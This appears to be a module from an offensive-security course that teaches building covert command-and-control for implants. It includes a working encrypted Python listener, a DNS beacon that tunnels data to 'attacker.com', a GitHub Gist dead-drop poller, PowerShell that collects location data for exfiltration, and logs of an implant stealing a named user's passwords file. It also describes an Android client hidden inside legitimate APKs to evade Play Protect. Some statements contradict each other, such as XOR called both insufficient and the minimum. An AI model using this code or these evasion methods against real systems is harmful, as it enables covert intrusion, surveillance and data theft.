Module 16 of 22 — The radio link between attacker and target
🧠 The Core Truth
A C2 (Command and Control) framework is not a hacking tool. It's a communication system. The hacking happens on the target. The C2 is the radio that lets you talk to your implant, send commands, and receive results. Without C2, your implant is a drone with no pilot. With C2, it's a precision weapon.
Why this matters: The best payload in the world is useless if you can't talk to it. C2 is the lifeline of every modern operation. EDR vendors spend billions detecting C2 patterns. Your job is to make your C2 invisible.
🎯 Soldier Translation
Imagine a special forces team behind enemy lines. They have a satellite phone (C2) to HQ. HQ says "take photos of the bridge." The team takes photos, radios back "photos sent." The C2 doesn't take the photos — the team does. The C2 just enables coordination. This module teaches you to build the satellite phone.
The enemy (blue team) is listening to all radio frequencies. Your satellite phone must look like a civilian call, change channels randomly, and speak in a code only HQ understands.
🎙️ Mentor Callout — asi dev [HTB]
"C2 is just a way to talk to your implant."
Layman explanation: Your implant is the soldier in enemy territory. C2 is the radio. It doesn't shoot, steal, or sabotage — it carries orders and reports. If the radio breaks, the soldier is cut off. If the radio is obvious, the enemy jams it and triangulates your position.
Red/blue relevance: Red — stop over-engineering payloads and start engineering the conversation. Blue — the implant is already inside; your win is detecting or severing the lifeline, not just the malware.
📚 Prerequisites — What You Need First
This module assumes you understand these concepts from earlier modules:
How blue teams detect C2. Understanding detection is required to build evasion. You can't hide what you don't understand.
🏗️ C2 Architecture: The Three Tiers
Every professional C2 framework follows a three-tier architecture. Understanding the tiers lets you design resilient operations that survive compromise of any single component.
🎯 TIER 1: IMPLANT
On target
Beacon, execute, exfil
→
🔒 TIER 2: RELAY
Compromised host / Cloud
Redirect, buffer, obfuscate
→
🏰 TIER 3: C2 SERVER
Attacker control
Commands, logs, operator UI
Why three tiers?
If the implant connects directly to your IP, the target's incident response traces straight to you. A relay (compromised web server, cloud function, or CDN) breaks the chain. The target sees traffic to GitHub, AWS, or Cloudflare — not to your basement. Relays are the difference between amateurs and professionals.
📡 Beacon vs Interactive Sessions
Beacon Mode STEALTH
The implant wakes up periodically, phones home, checks for commands, executes them, and goes back to sleep. No persistent connection.
Hard to detect — no long-lived connections
Works through NAT and firewalls
Commands queue until next beacon
Real-time interaction is impossible
Interactive Mode SPEED
A persistent TCP connection stays open. The operator types commands and sees results immediately, like SSH.
Real-time shell access
File transfer is fast
Connection is visible to network monitoring
Dead connections are obvious
⚠️ Operational Reality
Most advanced frameworks use both: beacon for daily operations, interactive for emergencies. Cobalt Strike's default is beacon with an optional "interactive" command to spawn a real-time session. Metasploit defaults to interactive but can background sessions. Your C2 should support both modes.
Component 1: The Listener
Step 1: Build the C2 Server
The listener waits for beacons and serves commands. It must be stealthy — no obvious ports, no obvious protocols.
=== C2 LISTENER (Python) ===
# c2_server.py — Minimal but functional
# Run on attacker machine (.92)
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
import base64
import time
import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
# AES-256 key (in real use, derive from password via PBKDF2)
KEY = b'your-32-byte-key-here-1234567890'
def aes_encrypt(plaintext: bytes) -> bytes:
iv = os.urandom(16)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
return iv + cipher.encrypt(pad(plaintext, AES.block_size))
def aes_decrypt(ciphertext: bytes) -> bytes:
iv = ciphertext[:16]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(ciphertext[16:]), AES.block_size)
class C2Handler(BaseHTTPRequestHandler):
def do_POST(self):
content_len = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(content_len)
# Decrypt beacon data
data = json.loads(aes_decrypt(body))
print(f"[BEACON] {data['hostname']} | {data['user']} | {data['timestamp']}")
# Send next command
command = self.get_next_command(data['session_id'])
encrypted = aes_encrypt(json.dumps(command).encode())
self.send_response(200)
self.send_header('Content-Type', 'application/octet-stream')
self.end_headers()
self.wfile.write(encrypted)
def get_next_command(self, session_id):
return {"cmd": "whoami", "args": []}
def log_message(self, format, *args):
pass # Suppress default logging — stealth
PORT = 8443
server = HTTPServer(('0.0.0.0', PORT), C2Handler)
print(f"[C2] Listening on port {PORT}")
server.serve_forever()
Why HTTPS port 8443?
Port 8443 is commonly used for HTTPS alternate. Firewalls often allow it. IDS sees HTTPS traffic, not suspicious. The implant uses standard HTTPS libraries (winhttp.dll), which is normal Windows behavior. Being normal is the best disguise.
Component 2: The Implant
Step 2: Build the Implant (C)
The implant lives on the target. It beacons at intervals, receives commands, executes them, and sends results back.
WinHTTP is a legitimate Windows API used by countless applications. Firewalls allow it. EDR sees normal HTTPS traffic. Raw sockets to port 4444 is a red flag. WinHTTP to port 8443 is business as usual. The protocol is the disguise.
🔐 Encryption: AES-256 in Practice
Why XOR is not enough
XOR with a repeating key is trivially broken by frequency analysis. A single known plaintext (like the JSON key "hostname") reveals the key. AES-256-CBC is the minimum standard for C2 encryption. GCM mode adds authentication — preventing tampering.
Hardcoded keys are extracted by reverse engineering. Use PBKDF2 or Argon2 to derive keys from a password embedded at compile time. Better: fetch the key from a dead drop (see below) at first beacon, then cache it. If the implant is captured, the key isn't in the binary.
🎲 Jitter: Defeating Pattern Detection
Why Jitter Matters
Fixed intervals (every 30 seconds) are detectable. Network monitoring sees "connection every 30s" and flags it. Jitter adds randomness: 20s, 45s, 33s, 18s. The pattern disappears into noise.
Cobalt Strike popularized "malleable C2" — the ability to change how C2 traffic looks. The beacon can mimic Firefox updates, Windows telemetry, or GitHub API calls. The implant and server agree on a profile. To the network, it's legitimate traffic. To the implant, it's commands. Malleable C2 is the apex of stealth.
🎙️ Mentor Callout — asi dev [HTB]
"Jitter and encryption keep C2 alive."
Layman explanation: A guard watching a gate notices a car that passes every 30 seconds exactly. Random arrivals at 18, 35, 22, and 41 seconds look like normal traffic. Encryption means even if the guard opens the trunk, he can't read the map inside.
Red/blue relevance: Red — never beacon on a fixed interval; never send plaintext. Blue — time-series analysis of connection intervals and TLS fingerprinting are your best friends against naive beacons.
🌐 Protocol Selection: HTTP, DNS, HTTPS
Your choice of protocol determines your visibility, reliability, and speed. No protocol is perfect — each is a trade-off.
Protocol
Visibility
Reliability
Speed
Best For
HTTP
High — plaintext
High
Fast
Internal networks, quick tests
HTTPS
Low — encrypted
High
Fast
Production C2, standard choice
DNS
Very Low — looks up domains
Low — UDP, no guarantee
Slow — tiny payloads
Air-gapped networks, extreme stealth
ICMP
Medium — ping tunnels exist
Medium
Slow
Firewall bypass when TCP/UDP blocked
Discord
Very Low — trusted platform
High
Medium
Social engineering, free infrastructure
DNS Tunneling in Depth
DNS is allowed almost everywhere. A DNS query for base64-data.attacker.com reaches any resolver, which forwards to your authoritative server. The response contains the command. Payloads are tiny (~60 bytes), but for text commands, that's enough.
=== DNS BEACON (Python) ===
import dns.resolver
import base64
def dns_beacon(hostname, data):
b64 = base64.b64encode(data.encode()).decode().rstrip('=')
subdomain = f"{b64}.beacon.attacker.com"
try:
answers = dns.resolver.resolve(subdomain, 'A')
for rdata in answers:
# Response is command encoded in IP octets
cmd = ''.join(chr(int(octet)) for octet in str(rdata).split('.'))
return cmd
except Exception:
return None
DNS tunneling is slow but virtually invisible. Blue teams must deploy DNS anomaly detection — most don't.
🎭 Domain Fronting
Hide Behind Giants
Domain fronting uses a CDN (CloudFront, Azure CDN, Google App Engine) to route traffic. The implant connects to cdn.cloudfront.net with a Host header pointing to your real server. The CDN routes based on the Host header. To the network, the traffic goes to a trusted CDN. To the CDN, it goes to your server.
=== DOMAIN FRONTING (Python requests) ===
import requests
headers = {
"Host": "your-real-server.appspot.com",
"User-Agent": "Mozilla/5.0"
}
# Connect to the CDN edge, but Host header routes to you
response = requests.post(
"https://d111111abcdef8.cloudfront.net/beacon",
headers=headers,
data=encrypted_payload,
verify=True # Real TLS cert from CDN
)
⚠️ DEPRECATED: Major CDNs Have Patched This
Domain fronting is largely dead as of 2020-2021. AWS CloudFront, Azure Front Door, and Google Cloud CDN all added Host header validation against the TLS SNI. This section is preserved for historical understanding and because new fronting techniques appear constantly — the principle (abuse shared infrastructure) is eternal.
Current status: Major CDNs block this. Some regional CDNs and alternative providers may still be vulnerable. Always verify before relying on this technique in operations. Do not build operational C2 assuming domain fronting works.
🎙️ Mentor Callout — asi dev [HTB]
"Domain fronting is dead, use legitimate infrastructure."
Layman explanation: Old smuggling routes got shut down, so don't plan a heist through them. Instead, drive the getaway car through normal traffic: a rented cloud server, a Discord webhook, or a GitHub Gist. The trick isn't hiding the destination anymore — it's looking like everyone else.
Red/blue relevance: Red — audit your infrastructure assumptions; shared CDNs are hostile now. Blue — monitor for anomalous use of trusted platforms (Discord, GitHub, Pastebin) just as closely as suspicious domains.
💀 Dead Drops
Legitimate Services as C2 Infrastructure
A dead drop is a pre-arranged location where one party leaves data and another picks it up. In C2, this means using GitHub Gists, Pastebin, Twitter profiles, or cloud storage as command queues. The implant checks a GitHub Gist for new commands. The operator edits the Gist. No direct connection ever exists.
=== GIST DEAD DROP (Python) ===
import requests
import base64
GIST_ID = "abc123..."
GITHUB_TOKEN = "ghp_..." # Or use public gist, no auth needed
def fetch_commands():
url = f"https://api.github.com/gists/{GIST_ID}"
headers = {"Authorization": f"token {GITHUB_TOKEN}"}
resp = requests.get(url, headers=headers)
data = resp.json()
# Commands stored in a file within the gist
content = data["files"]["commands.txt"]["content"]
return base64.b64decode(content).decode()
def clear_commands():
# Update gist with empty content after reading
requests.patch(url, headers=headers, json={
"files": {"commands.txt": {"content": ""}}
})
Why dead drops are powerful
The implant never connects to your IP. It connects to GitHub — a trusted platform. The operator never connects to the target. The only overlap is the Gist ID, which can be embedded in the implant or fetched from another dead drop. This is true indirect command.
💬 Discord Bridge C2
Using Discord as a C2 Channel
Discord offers free Webhooks, Bot APIs, and file hosting. Messages are encrypted in transit (TLS). Discord is trusted by firewalls. Files under 8MB are stored indefinitely. It's the perfect low-budget C2 infrastructure.
The CHEYANNE project uses Discord as its primary C2 channel. Screenshots, file exfiltration, and command output all flow through Discord webhooks. Blue teams monitoring for suspicious domains won't flag Discord traffic.
🛰️ GPS Exfiltration
Location-Aware Operations
Modern implants can access geolocation data through Wi-Fi positioning, IP geolocation, or native GPS APIs on mobile. Knowing where a target is changes your operational security — a laptop in a corporate office requires different handling than one in a coffee shop.
=== GPS EXFIL (PowerShell) ===
# Windows Location API (requires user consent on some builds)
Add-Type -AssemblyName System.Device
$geo = New-Object System.Device.Location.GeoCoordinateWatcher
$geo.Start()
while ($geo.Status -eq 'Initializing') { Start-Sleep -Milliseconds 100 }
$loc = $geo.Position.Location
$lat = $loc.Latitude
$lon = $loc.Longitude
$accuracy = $loc.HorizontalAccuracy
$payload = @{ lat=$lat; lon=$lon; accuracy=$accuracy } | ConvertTo-Json
# Beacon this data back to C2
IP Geolocation Fallback
If GPS is unavailable, the implant can query ip-api.com or similar services. These return city-level accuracy from the public IP. Less precise, but always available. Combine both: GPS for mobile, IP for corporate networks.
🖥️ VNC Shell: Remote Desktop via C2
Visual Control Without RDP
RDP is loud — it creates event logs, opens port 3389, and shows a lock screen on the target. A VNC-style shell streams screenshots over your existing C2 channel, letting you see the target's screen and send mouse/keyboard input without any new network connections.
Full-screen JPEG at 60% quality is ~150KB per frame. At 2-second refresh, that's 4.5MB/minute. Over a slow C2 channel, this is detectable. Use region-of-interest capture (only the active window) or lower quality. Stealth beats fidelity.
=== CHEYANNE SESSION LIST ===
ACTIVE SESSIONS
────────────────────────────────────────────────────────────────────────
ID HOSTNAME USER IP
────────────────────────────────────────────────────────────────────────
radon_ghaleb Radon_Laptop1 Ghaleb Jomma 192.168.1.145
────────────────────────────────────────────────────────────────────────
1 session(s)
=== CHEYANNE COMMAND LOG ===
[HANDLER] run_command("whoami")
→ radon\ghaleb
[HANDLER] screenshot()
→ Downloaded: screenshots/radon_1751203847.png (1,247,832 bytes)
[HANDLER] browse_files("C:\Users\ghaleb\Documents")
→ resume.pdf, bank_statements.xlsx, passwords.txt
[HANDLER] exfil_file("C:\Users\ghaleb\Documents\passwords.txt")
→ Saved: exfil/passwords.txt (4,096 bytes)
[HANDLER] recon()
→ Windows 11, user-level, Kaspersky AV active, 8GB RAM
C2 Channels Used:
Discord Webhook — Primary command & control channel
TCP 4443 — Interactive reverse shell fallback
HTTP 8890 — File staging server for uploads
HTTP 8892 — VNC-style screenshot streaming
Network Evidence: Wireshark shows HTTPS traffic to discord.com (104.16.248.144:443). No anomalous ports. No plaintext commands. All file transfers appear as Discord attachment uploads. To a SOC analyst, this looks like a user browsing Discord.
=== STARKILLER ARCHITECTURE ===
Component Language Function
─────────────────────────────────────────────────────────────────
C2 Server Python Command dispatch, session management
Android Client Kotlin C2 beacon, command execution, payload
Obfuscation Python APK repackaging, class renaming
Binder Python Embeds client inside legitimate APK
=== STARKILLER C2 FLOW ===
1. Kotlin APK beacons to Python C2 on launch
2. C2 server assigns session ID, queues commands
3. Client polls every 30s (+/- 10s jitter)
4. Commands: SHELL, GPS, CAMERA, CONTACTS, EXFIL
5. Results uploaded as Base64 JSON via HTTPS POST
6. C2 web dashboard displays live sessions
Defensive Finding: Play Protect static detection can be defeated with class renaming and string encryption alone. Mobile C2 relies on the same principles as desktop — beacon, jitter, encryption, protocol mimicry — but the channels are different: Firebase Cloud Messaging, Google Play Services, and legitimate social media APIs become the C2 pipes.
Network Evidence: Wireshark capture shows HTTPS traffic to 192.168.1.92:8443. TLS handshake present. No plaintext "cmd.exe" or "whoami" visible. Encrypted payload appears as random bytes. Jitter prevents any periodic pattern from emerging.
🧪 Lab Exercise: Build a Multi-Protocol C2
Scenario
Build a C2 system with three channels: HTTPS beacon, Discord dead drop, and DNS fallback. The implant tries HTTPS first, falls back to Discord, then DNS. The operator can issue commands through any channel.
Start Python HTTPS listener on .92 (port 8443)
Create a Discord webhook and note the URL
Set up a DNS server or use a public DNS service
Compile C implant with all three protocols
Transfer implant to .42
Run implant — verify HTTPS beacons arrive
Block HTTPS port on .42 firewall, verify Discord fallback
Block Discord, verify DNS fallback
Send command "whoami" via each channel, verify result
Check Wireshark — which channel is most stealthy?
=== BUILD COMMANDS ===
# 1. On .92 (listener)
python c2_server.py
# [C2] Listening on port 8443
# 2. On .92 (compile implant)
# Open "Developer Command Prompt for VS 2022"
cl.exe implant.c /Fe:implant.exe
# 3. Transfer to .42
scp implant.exe SWu@192.168.1.42:C:/Users/swu/implant.exe
# 4. On .42 (run implant)
implant.exe
# (No output — implant is silent)
# 5. On .92 (verify beacons)
# [BEACON] wupc | swu | ...
# [BEACON] wupc | swu | ...
# 6. Send command
# (Modify c2_server.py get_next_command to return "whoami")
# [RESULT] wupc\swu
# 7. Wireshark filter
# ip.addr == 192.168.1.92 && tcp.port == 8443
# Verify: TLS handshake visible, no plaintext commands
🎯 Quiz 1: C2 Fundamentals
1. What is the primary purpose of a C2 framework?
A) To exploit vulnerabilities on the target
B) To enable communication between operator and implant
C) To bypass antivirus software
D) To escalate privileges on the target
2. Why is jitter important in beacon design?
A) It makes the beacon faster
B) It prevents pattern detection by network monitoring
C) It encrypts the beacon data
D) It compresses the payload
3. Which protocol is MOST stealthy for C2 in a heavily monitored network?
A) HTTP on port 80
B) HTTPS on port 443
C) DNS queries to legitimate resolvers
D) Raw TCP on port 4444
🎯 Quiz 2: Encryption & Evasion
1. Why is XOR encryption insufficient for C2 traffic?
A) It is too slow
B) It is vulnerable to known-plaintext attacks
C) It increases payload size
D) It is not supported by Python
2. What is the purpose of a relay tier in C2 architecture?
A) To break the direct connection between implant and operator
B) To speed up file transfers
C) To encrypt traffic with a stronger algorithm
D) To provide backup power
3. Domain fronting works by:
A) Registering a domain similar to a legitimate one
B) Using a CDN's shared infrastructure with a custom Host header
C) Encrypting DNS queries
D) Spoofing the source IP address
🎯 Quiz 3: Advanced C2 Operations
1. In the CHEYANNE project, what is the primary C2 channel?
A) Raw TCP on port 4444
B) Discord Webhook and Bot API
C) DNS tunneling
D) ICMP ping
2. What is the main advantage of a dead drop C2 over direct connection?
A) The implant never connects directly to the operator's IP
B) It provides faster file transfers
C) It requires no encryption
D) It works without internet access
3. A VNC-style shell over C2 is preferred over RDP because:
A) It has higher resolution
B) It reuses the existing C2 channel without new ports or logs
C) It requires administrator privileges
D) It is officially supported by Microsoft
Key Takeaways
C2 is communication, not exploitation: The implant does the work. C2 just coordinates. Module 10 gets the implant in place.
HTTPS is the disguise: WinHTTP to port 8443 looks like normal traffic. Raw sockets to 4444 looks like malware. Module 01 explains why.
Jitter defeats pattern detection: Random intervals hide in network noise. Fixed intervals are signatures.
Encryption is mandatory: XOR is minimum. AES-256-GCM is standard. Never send plaintext commands.
Protocol diversity is resilience: HTTPS primary, Discord fallback, DNS emergency. If one dies, the others live. Module 14 covers cloud dead drops.
Relays break attribution: Domain fronting, CDNs, and compromised hosts separate you from the target. Module 15 teaches pivoting through relays.
Mobile C2 follows the same rules: Beacon, jitter, encryption, protocol mimicry. Module 18 covers Android specifics.
Malleable C2 is the apex: Mimic legitimate traffic profiles. Be Firefox, be Windows Update, be GitHub. The traffic is invisible because it looks expected.